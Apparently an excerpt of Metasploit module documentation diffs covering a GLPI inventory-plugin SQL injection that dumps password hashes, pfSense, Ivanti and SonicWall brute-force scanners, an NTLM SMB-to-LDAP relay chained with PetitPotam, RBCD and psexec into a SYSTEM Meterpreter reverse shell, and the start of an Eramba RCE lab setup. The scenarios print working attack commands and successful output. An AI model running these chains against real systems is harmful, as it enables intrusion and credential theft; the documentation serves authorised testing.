||||
sudo add-apt-repository ppa:ondrej/php
|
||||
sudo apt install apache2 php8.3 php8.3-curl php8.3-zip php8.3-gd php8.3-intl \
|
||||
php8.3-intl php-pear php8.3-imagick php-bz2 php8.3-imap php-memcache php8.3-pspell \
|
||||
php8.3-tidy php8.3-xmlrpc php8.3-xsl php8.3-mbstring php8.3-ldap php-cas php-apcu \
|
||||
libapache2-mod-php8.3 php8.3-mysql mariadb-server
|
||||
```
|
||||
|
||||
Ensure mariadb and apache are installed and running:
|
||||
```
|
||||
sudo systemctl status apache2
|
||||
sudo systemctl status mariadb
|
||||
```
|
||||
|
||||
Run the mysql secure installation script, input defaults and your desired username password:
|
||||
```
|
||||
sudo mysql_secure_installation
|
||||
```
|
||||
|
||||
Connect to the database:
|
||||
```
|
||||
sudo mysql -u root -p
|
||||
```
|
||||
|
||||
Create a database user `msfuser` and a database named `glpi`:
|
||||
```
|
||||
CREATE USER 'msfuser'@'localhost' IDENTIFIED BY 'notpassword';
|
||||
CREATE DATABASE glpi;
|
||||
GRANT ALL PRIVILEGES ON glpi.* TO 'msfuser'@'localhost';
|
||||
FLUSH PRIVILEGES;
|
||||
EXIT;
|
||||
```
|
||||
|
||||
Download the vulnerable version of GLPI, extract it and move it to `/var/www/html`:
|
||||
```
|
||||
wget https://github.com/glpi-project/glpi/releases/download/10.0.17/glpi-10.0.17.tgz
|
||||
tar -xvf glpi-10.0.17.tgz
|
||||
sudo mv glpi /var/www/html/
|
||||
```
|
||||
|
||||
Download the vulnerable inventory plugin:
|
||||
```
|
||||
cd /var/www/html/glpi/plugins
|
||||
sudo wget https://github.com/glpi-project/glpi-inventory-plugin/releases/download/1.4.0/glpi-glpiinventory-1.4.0.tar.bz2
|
||||
sudo tar -xvjf glpi-glpiinventory-1.4.0.tar.bz2
|
||||
```
|
||||
|
||||
Set the necessary permissions:
|
||||
```
|
||||
sudo chmod 755 -R /var/www/html/
|
||||
sudo chown www-data:www-data -R /var/www/html/
|
||||
```
|
||||
|
||||
Edit sites-available:
|
||||
```
|
||||
sudo vim /etc/apache2/sites-available/glpi.conf
|
||||
```
|
||||
|
||||
Paste:
|
||||
```
|
||||
<VirtualHost *:80>
|
||||
ServerAdmin admin@your_domain.com
|
||||
DocumentRoot /var/www/html/glpi
|
||||
ServerName your-domain.com
|
||||
|
||||
<Directory /var/www/html/glpi>
|
||||
Options FollowSymlinks
|
||||
AllowOverride All
|
||||
Require all granted
|
||||
</Directory>
|
||||
|
||||
ErrorLog ${APACHE_LOG_DIR}/your-domain.com_error.log
|
||||
CustomLog ${APACHE_LOG_DIR}/your-domain.com_access.log combined
|
||||
|
||||
</VirtualHost>
|
||||
```
|
||||
|
||||
Create the following symlink, rewrite and restart:
|
||||
```
|
||||
sudo ln -s /etc/apache2/sites-available/glpi.conf /etc/apache2/sites-enabled/glpi.conf
|
||||
sudo a2enmod rewrite
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
|
||||
The application should be now available at `http://127.0.0.1/glpi`, navigate there in a browser to complete the setup wizard.
|
||||
Warnings in the `Checking of the compatibility of your environment with the execution of GLPI` can be ignored, click continue.
|
||||
It will ask you for the database credentials created above, input them and select the `glpi` database created above.
|
||||
|
||||
Once complete you'll be brought to a login page, authenticate using the default credentials `glpi`/`glpi`.
|
||||
|
||||
On the left hand side select and expand `Administration` in the dropdown select `Inventory`.
|
||||
On the right hand side select `Enable Inventory`, then `Save` at the bottom.
|
||||
|
||||
On the left hand side select and expand `Setup` in the dropdown select `Plugins`.
|
||||
Near the bottom of the screen find the `GLPI Inventory` plugin and under `Actions` click the install button (Folder icon with `+` symbol).
|
||||
After installing the plugin a pop up will appear in the bottom right and ask if you want to enable the plugin, enable it.
|
||||
|
||||
Now the application should be vulnerable.
|
||||
|
||||
## Options
|
||||
|
||||
### DB_COLUMNS
|
||||
The number of columns in the database. Can vary between versions, adjust this if exploit does not work initially.
|
||||
|
||||
### MAX_ENTRIES
|
||||
The maximum number of entries to dump from the database. More entries will increase module runtime.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
1. Do: `use gather/glpi_inventory_plugin_unauth_sqli`.
|
||||
1. Set the `RHOST`.
|
||||
1. Set `MAX_ENTRIES` to `1` to speed up module run time for verification.
|
||||
1. Run the module.
|
||||
1. Receive a table with one username and it's corresponding password hash.
|
||||
|
||||
## Scenarios
|
||||
### GLPI 10.0.17 running on Ubuntu 22.04
|
||||
```
|
||||
msf6 > use gather/glpi_inventory_plugin_unauth_sqli
|
||||
msf6 auxiliary(gather/glpi_inventory_plugin_unauth_sqli) > set rhost 172.16.199.130
|
||||
rhost => 172.16.199.130
|
||||
msf6 auxiliary(gather/glpi_inventory_plugin_unauth_sqli) > exploit
|
||||
[*] Reloading module...
|
||||
[*] Running module against 172.16.199.130
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Extracting credential information
|
||||
glpi_users
|
||||
==========
|
||||
|
||||
name password api_token
|
||||
---- -------- ---------
|
||||
Plugin_GLPI_Inventory 39
|
||||
glpi $2y$10$ci01zoEXHWOfoxietd8ry.2K6Y3wR5bc1dZQiftuFM5hqQtPgD6LS
|
||||
glpi-system
|
||||
normal $2y$10$iaxy0646EhwsuBbjAgme4uJN6SN.pbyK.ciTCnep67Wq8x.qt1JvS
|
||||
post-only $2y$10$//Ca44JjRIV/9Hv1IEM1y.v1aEa3FwzytX4QYtKsxyqF/rnOzROei
|
||||
tech $2y$10$KjaOxGSyd0CMifvDVNiggOxCVHP0g8jER/jLtZsmF54S63LH5GWIy
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,106 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to bruteforce credentials for pfSense.
|
||||
|
||||
This module was specifically tested on version 2.7.2:
|
||||
|
||||
**2.7.2 Download**
|
||||
|
||||
https://atxfiles.netgate.com/mirror/downloads/
|
||||
|
||||
Note:
|
||||
|
||||
By default, pfSense comes with a built-in account named ```admin``` with the password being ```pfsense```.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Set up a pfSense VM using the steps above or target a real installation
|
||||
1. Start `bundle exec ./msfconsole -q`
|
||||
1. `use auxiliary/scanner/http/pfsense_login`
|
||||
1. `set ssl true`
|
||||
1. `set pass_file ...`
|
||||
1. `set user_file ...`
|
||||
1. `run`
|
||||
1. or, using some example inline options: `run pass_file=data/wordlists/default_pass_for_services_unhash.txt user_file=data/wordlists/default_pass_for_services_unhash.txt STOP_ON_SUCCESS=true SSL=true rport=443`
|
||||
1. Verify you get a login:
|
||||
```
|
||||
[+] 192.168.207.158:443 - Login Successful: admin:pfsense
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### BLANK_PASSWORD
|
||||
|
||||
Set to `true` if an additional login attempt should be made with an empty password for every user.
|
||||
|
||||
### BRUTEFORCE_SPEED
|
||||
|
||||
How fast to bruteforce, from 0 to 5
|
||||
|
||||
### PASSWORD
|
||||
|
||||
A specific password to authenticate with
|
||||
|
||||
### PASS_FILE
|
||||
|
||||
File containing passwords, one per line
|
||||
|
||||
### STOP_ON_SUCCESS
|
||||
|
||||
Stop guessing when a credential works for a host
|
||||
|
||||
### THREADS
|
||||
|
||||
The number of concurrent threads (max one per host)
|
||||
|
||||
### USERPASS_FILE
|
||||
|
||||
File containing users and passwords separated by space, one pair per line
|
||||
|
||||
### USER_FILE
|
||||
|
||||
File containing usernames, one per line
|
||||
|
||||
### VERBOSE
|
||||
|
||||
Whether to print output for all attempts
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 auxiliary(scanner/http/pfsense_login) > options
|
||||
|
||||
Module options (auxiliary/scanner/http/pfsense_login):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
|
||||
BLANK_PASSWORDS false no Try blank passwords for all users
|
||||
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
|
||||
DB_ALL_CREDS false no Try each user/password couple stored in the current database
|
||||
DB_ALL_PASS false no Add all passwords in the current database to the list
|
||||
DB_ALL_USERS false no Add all users in the current database to the list
|
||||
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
|
||||
PASSWORD pfsense no A specific password to authenticate with
|
||||
PASS_FILE no File containing passwords, one per line
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.207.158 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
|
||||
TARGETURI / yes The base path to the pfSense application
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME admin no A specific username to authenticate as
|
||||
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
|
||||
USER_AS_PASS false no Try the username as the password for all users
|
||||
USER_FILE no File containing usernames, one per line
|
||||
VERBOSE true yes Whether to print output for all attempts
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(scanner/http/pfsense_login) > run
|
||||
[+] 192.168.207.158:443 - Login Successful: admin:pfsense
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
+1
-1
@@ -9,7 +9,7 @@ It allows to attack both regular user and admin as well - you can select which t
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/scanner/ivanti/login_scanner`
|
||||
1. `use auxiliary/scanner/ivanti/ivanti_login`
|
||||
2. `set RHOSTS [IP]`
|
||||
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
|
||||
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
|
||||
+3
-3
@@ -1,7 +1,7 @@
|
||||
## Description
|
||||
|
||||
The module performs bruteforce attack against SonicWall NSv (Network Security Virtual).
|
||||
It allows to attack both regular SSLVPN user and admin as well. The module will automatically perform attack against SSLVPN user if `DOMAIN` parameter is not empty.
|
||||
The module will perform a bruteforce attack against SonicWall NSv (Network Security Virtual).
|
||||
It allows attacking both regular SSLVPN users and as well as admins. The module will automatically target SSLVPN users if the `DOMAIN` parameter is not empty.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
@@ -9,7 +9,7 @@ It allows to attack both regular SSLVPN user and admin as well. The module will
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/scanner/sonicwall/login_scanner`
|
||||
1. `use auxiliary/scanner/sonicwall/sonicwall_login`
|
||||
2. `set RHOSTS [IP]`
|
||||
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
|
||||
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
|
||||
@@ -0,0 +1,314 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module supports running an SMB server which validates credentials, and
|
||||
then attempts to execute a relay attack against an LDAP server on the
|
||||
configured RELAY_TARGETS hosts.
|
||||
|
||||
It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check
|
||||
(MIC). As a result, this will only work with NTLMv1. The module takes care of
|
||||
removing the relevant flags to bypass signing.
|
||||
|
||||
If the relay succeeds, an LDAP session to the target will be created. This can
|
||||
be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or
|
||||
`auxiliary/gather/ldap_query`.
|
||||
|
||||
Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
|
||||
SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Lab setup
|
||||
You will need a Domain Controller and a Domain-joined host:
|
||||
|
||||
Domain Computer <-> Metasploit framework <-> Domain Controller
|
||||
|
||||
Where:
|
||||
|
||||
- Domain name: NEWLAB.local
|
||||
- VICTIM (Domain Computer) = 192.168.232.111
|
||||
- msfconsole = 192.168.232.3
|
||||
- DC01 (Domain Controller) = 192.168.232.110
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
A("VICTIM (Domain Computer) - 192.168.232.111")
|
||||
subgraph metasploit[" msfconsole - 192.168.232.3 "]
|
||||
subgraph inside [ ]
|
||||
direction TB
|
||||
style inside margin-top: 0
|
||||
style inside stroke: none
|
||||
|
||||
B("smb_to_ldap")
|
||||
database[(Database)]
|
||||
|
||||
B -->|"report_ntlm_type3(...)"| database
|
||||
end
|
||||
end
|
||||
C("DC01 (Domain Controller) - 192.168.232.110")
|
||||
|
||||
A <-->|SMB 445| metasploit
|
||||
metasploit <-->|"ldap session (TCP/389)"| C
|
||||
```
|
||||
|
||||
The Domain Computer will need to be configured to use NTLMv1 by setting the
|
||||
following registry key to a value less or equal to 2:
|
||||
|
||||
```
|
||||
PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
|
||||
```
|
||||
|
||||
```
|
||||
PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
|
||||
|
||||
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
|
||||
LmCompatibilityLevel REG_DWORD 0x2
|
||||
```
|
||||
|
||||
Finally run the relay server on msfconsole, setting the `RELAY_TARGETS` option
|
||||
to the Domain Controller IP address.
|
||||
|
||||
```
|
||||
run verbose=true RELAY_TARGETS=192.168.232.110
|
||||
```
|
||||
|
||||
You will have to coerce the Domain Computer and force it to authenticate to the
|
||||
msfconsole server (see an example below).
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### RELAY_TARGETS
|
||||
|
||||
Target address range or CIDR identifier to relay to.
|
||||
|
||||
### CAINPWFILE
|
||||
|
||||
A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes.
|
||||
|
||||
### JOHNPWFILE
|
||||
|
||||
A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes
|
||||
will be stored in separate files.
|
||||
I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`.
|
||||
|
||||
### RELAY_TIMEOUT
|
||||
|
||||
Seconds that the relay socket will wait for a response after the client has
|
||||
initiated communication (default 25 sec.).
|
||||
|
||||
### SMBDomain
|
||||
|
||||
The domain name used during SMB exchange.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Start the relay server
|
||||
```
|
||||
msf6 > use auxiliary/server/relay/smb_to_ldap
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) > run verbose=true RELAY_TARGETS=192.168.232.110
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) >
|
||||
[*] SMB Server is running. Listening on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) > _servicemanager
|
||||
Services
|
||||
========
|
||||
|
||||
Id Name References
|
||||
-- ---- ----------
|
||||
0 Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer0.0.0.0445 2
|
||||
1 SMB Relay Server 2
|
||||
```
|
||||
|
||||
### Net use example
|
||||
A simple test would be using the Windows `net use` command:
|
||||
|
||||
```
|
||||
net use \\192.168.232.3\foo /u:Administrator 123456
|
||||
```
|
||||
|
||||
msfconsole output:
|
||||
|
||||
```
|
||||
[*] New request from 192.168.232.111
|
||||
[*] Received request for \Administrator
|
||||
[*] Relaying to next target ldap://192.168.232.110:389
|
||||
[+] Identity: \Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
|
||||
[+] Relay succeeded
|
||||
[*] LDAP session 1 opened (192.168.232.3:45007 -> 192.168.232.110:389) at 2025-01-23 20:39:45 +0100
|
||||
[*] Received request for \Administrator
|
||||
[*] Identity: \Administrator - All targets relayed to
|
||||
[*] New request from 192.168.232.111
|
||||
[*] Received request for NEWLAB\Administrator
|
||||
[*] Relaying to next target ldap://192.168.232.110:389
|
||||
[+] Identity: NEWLAB\Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
|
||||
[+] Relay succeeded
|
||||
[*] LDAP session 2 opened (192.168.232.3:43845 -> 192.168.232.110:389) at 2025-01-23 20:39:46 +0100
|
||||
[*] Received request for NEWLAB\Administrator
|
||||
[*] Identity: NEWLAB\Administrator - All targets relayed to
|
||||
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:45007 -> 192.168.232.110:389 (192.168.232.110)
|
||||
2 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:43845 -> 192.168.232.110:389 (192.168.232.110)
|
||||
```
|
||||
|
||||
### PetitPotam example
|
||||
|
||||
Coerce authentication using a non-privileged Domain User account with PetitPotam:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > run verbose=true rhosts=192.168.232.111 listener=192.168.232.3 SMBUser=msfuser SMBPass=123456 SMBDomain=newlab.local
|
||||
[*] 192.168.232.111:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
|
||||
[*] 192.168.232.111:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
|
||||
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw
|
||||
[*] 192.168.232.111:445 - Server responded with ERROR_ACCESS_DENIED (Access is denied.)
|
||||
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcEncryptFileSrv
|
||||
|
||||
[*] New request from 192.168.232.111
|
||||
[*] Received request for NEWLAB\VICTIM$
|
||||
[*] Relaying to next target ldap://192.168.232.110:389
|
||||
[+] Identity: NEWLAB\VICTIM$ - Successfully authenticated against relay target ldap://192.168.232.110:389
|
||||
[*] Skipping previously captured hash for NEWLAB\VICTIM$
|
||||
[+] Relay succeeded
|
||||
[*] LDAP session 1 opened (192.168.232.3:46691 -> 192.168.232.110:389) at 2025-01-23 19:19:18 +0100
|
||||
[*] Received request for NEWLAB\VICTIM$
|
||||
[*] Identity: NEWLAB\VICTIM$ - All targets relayed to
|
||||
|
||||
[+] 192.168.232.111:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
|
||||
[*] 192.168.232.111:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 ldap LDAP VICTIM$ @ 192.168.232.110:389 192.168.232.3:46691 -> 192.168.232.110:389 (192.168.232.110)
|
||||
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
LDAP (192.168.232.110) > query -f (sAMAccountName=VICTIM$)
|
||||
CN=VICTIM,CN=Computers,DC=newlab,DC=local
|
||||
===============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
accountexpires 9223372036854775807
|
||||
badpasswordtime 133820110912034399
|
||||
badpwdcount 0
|
||||
cn VICTIM
|
||||
...
|
||||
|
||||
LDAP (192.168.232.110) >
|
||||
Background session 1? [y/N]
|
||||
```
|
||||
|
||||
### Exploit Resource-based Constrained Delegation (RBCD)
|
||||
|
||||
For details about RCBD, see https://docs.metasploit.com/docs/pentesting/active-directory/kerberos/rbcd.html#rbcd-exploitation
|
||||
|
||||
- Create a computer account with the `admin/dcerpc/samr_account` module and the same Domain User account
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > run verbose=true rhost=192.168.232.110 SMBUser=msfuser SMBPASS=123456 SMBDomain=newlab.local action=ADD_COMPUTER ACCOUNT_NAME=FAKE01$ ACCOUNT_PASSWORD=123456
|
||||
[*] Running module against 192.168.232.110
|
||||
[*] 192.168.232.110:445 - Adding computer
|
||||
[*] 192.168.232.110:445 - Connecting to Security Account Manager (SAM) Remote Protocol
|
||||
[*] 192.168.232.110:445 - Binding to \samr...
|
||||
[+] 192.168.232.110:445 - Bound to \samr
|
||||
[+] 192.168.232.110:445 - Successfully created newlab.local\FAKE01$
|
||||
[+] 192.168.232.110:445 - Password: 123456
|
||||
[+] 192.168.232.110:445 - SID: S-1-5-21-3065298949-3337206023-618530601-1618
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Setup RBCD with the `admin/ldap/rbcd` module using the LDAP session
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] Successfully bound to the LDAP server via existing SESSION!
|
||||
[*] Discovering base DN automatically
|
||||
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=WRITE delegate_from=FAKE01$
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] Successfully bound to the LDAP server via existing SESSION!
|
||||
[*] Discovering base DN automatically
|
||||
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
|
||||
[*] Added account:
|
||||
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] Successfully bound to the LDAP server via existing SESSION!
|
||||
[*] Discovering base DN automatically
|
||||
[*] Allowed accounts:
|
||||
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Getting the Kerberos tickets using the `admin/kerberos/get_ticket` module
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.232.110 username=FAKE01 password=123456 domain=newlab.local spn=cifs/VICTIM.newlab.local impersonate=Administrator
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] 192.168.232.110:88 - Received a valid TGT-Response
|
||||
[*] 192.168.232.110:88 - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
|
||||
[*] 192.168.232.110:88 - Getting TGS impersonating Administrator@newlab.local (SPN: cifs/VICTIM.newlab.local)
|
||||
[+] 192.168.232.110:88 - Received a valid TGS-Response
|
||||
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
|
||||
[+] 192.168.232.110:88 - Received a valid TGS-Response
|
||||
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Code execution using the `windows/smb/psexec` module
|
||||
|
||||
```
|
||||
msf6 exploit(windows/smb/psexec) > klist
|
||||
Kerberos Cache
|
||||
==============
|
||||
id host principal sname enctype issued status path
|
||||
-- ---- --------- ----- ------- ------ ------ ----
|
||||
105 192.168.232.110 FAKE01@NEWLAB.LOCAL krbtgt/NEWLAB.LOCAL@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
|
||||
106 192.168.232.110 Administrator@NEWLAB.LOCAL FAKE01@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
|
||||
107 192.168.232.110 Administrator@NEWLAB.LOCAL cifs/VICTIM.newlab.local@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
|
||||
|
||||
msf6 exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.111 username=Administrator smb::auth=kerberos smb::rhostname=VICTIM.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local
|
||||
[*] Started reverse TCP handler on 192.168.232.3:4444
|
||||
[*] 192.168.232.111:445 - Connecting to the server...
|
||||
[*] 192.168.232.111:445 - Authenticating to 192.168.232.111:445|newlab.local as user 'Administrator'...
|
||||
[*] 192.168.232.111:445 - Using cached credential for cifs/VICTIM.newlab.local@NEWLAB.LOCAL Administrator@NEWLAB.LOCAL
|
||||
[*] 192.168.232.111:445 - Selecting PowerShell target
|
||||
[*] 192.168.232.111:445 - Executing the payload...
|
||||
[+] 192.168.232.111:445 - Service start timed out, OK if running a command or non-service executable...
|
||||
[*] Sending stage (177734 bytes) to 192.168.232.111
|
||||
[*] Meterpreter session 1 opened (192.168.232.3:4444 -> 192.168.232.111:42528) at 2025-01-23 19:35:07 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : VICTIM
|
||||
OS : Windows Server 2019 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : NEWLAB
|
||||
Logged On Users : 9
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in [Docker format](https://www.eramba.org/learning/courses/12/episodes/274). However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (`docker-compose.simple-install.yml`):
|
||||
|
||||
### Installation
|
||||
|
||||
Docker and docker-compose is required.
|
||||
|
||||
1. git clone https://github.com/eramba/docker
|
||||
2. cd docker
|
||||
3. Setup database credentials and public URL in `.env`
|
||||
4. Copy following into `docker-compose.simple-install.yml`
|
||||
```
|
||||
version: '3.19'
|
||||
services:
|
||||
mysql:
|
||||
container_name: mysql
|
||||
image: mysql:8.0.28-oracle
|
||||
command: ["mysqld", "--disable-log-bin"]
|
||||
restart: always
|
||||
volumes:
|
||||
- db-data:/var/lib/mysql
|
||||
- ./mysql/conf.d:/etc/mysql/conf.d
|
||||
- ./mysql/entrypoint:/docker-entrypoint-initdb.d
|
||||
environment:
|
||||
MYSQL_DATABASE: ${DB_DATABASE}
|
||||
MYSQL_USER: ${DB_USERNAME}
|
||||
MYSQL_PASSWORD: ${DB_PASSWORD}
|
||||
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
|
||||
redis:
|
||||
container_name: redis
|
||||
image: redis:6.0.16-alpine
|
||||
restart: always
|
||||
eramba:
|
||||
container_name: eramba
|
||||
image: ghcr.io/eramba/eramba:3.19.1
|
||||
restart: always
|
||||
ports:
|
||||
- 8443:443
|
||||
volumes:
|
||||
- data:/var/www/eramba/app/upgrade/data
|
||||
- app:/var/www/eramba
|
||||
- logs:/var/www/eramba/app/upgrade/logs
|
||||
- ./apache/ssl/mycert.crt:/etc/ssl/certs/mycert.crt
|
||||
- ./apache/ssl/mycert.key:/etc/ssl/private/mycert.key
|
||||
- ./apache/security.conf:/etc/apache2/conf-available/security.conf
|
||||
- ./apache/ports.conf:/etc/apache2/ports.conf
|
||||
- ./apache/vhost-ssl.conf:/etc/apache2/sites-available/000-default.conf
|
||||
- ./crontab/crontab:/etc/cron.d/eramba-crontab
|
||||
environment:
|
||||
DB_HOST: ${DB_HOST}
|
||||
DB_DATABASE: ${DB_DATABASE}
|
||||
DB_USERNAME: ${DB_USERNAME}
|
||||
DB_PASSWORD: ${DB_PASSWORD}
|
||||
CACHE_URL: ${CACHE_URL}
|
||||
USE_PROXY: ${USE_PROXY}
|
||||
PROXY_HOST: ${PROXY_HOST}
|
||||
PROXY_PORT: ${PROXY_PORT}
|
||||
USE_PROXY_AUTH: ${USE_PROXY_AUTH}
|
||||
PROXY_AUTH_USER: ${PROXY_AUTH_USER}
|
||||
PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
|
||||
PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
|
||||
DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
|
||||
LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
|
||||
links:
|
||||
- mysql
|
||||
- redis
|
||||
depends_on:
|
||||
- mysql
|
||||
cron:
|
||||
container_name: cron
|
||||
image: ghcr.io/eramba/eramba:3.19.1
|
||||
command: ["cron", "-f"]
|
||||
entrypoint: ["/docker-cron-entrypoint.sh"]
|
||||
restart: always
|
||||
volumes:
|
||||
- data:/var/www/eramba/app/upgrade/data
|
||||
- app:/var/www/eramba
|
||||
- logs:/var/www/eramba/app/upgrade/logs
|
||||
- ./docker-cron-entrypoint.sh:/docker-cron-entrypoint.sh
|
||||
- ./crontab/crontab:/etc/cron.d/eramba-crontab
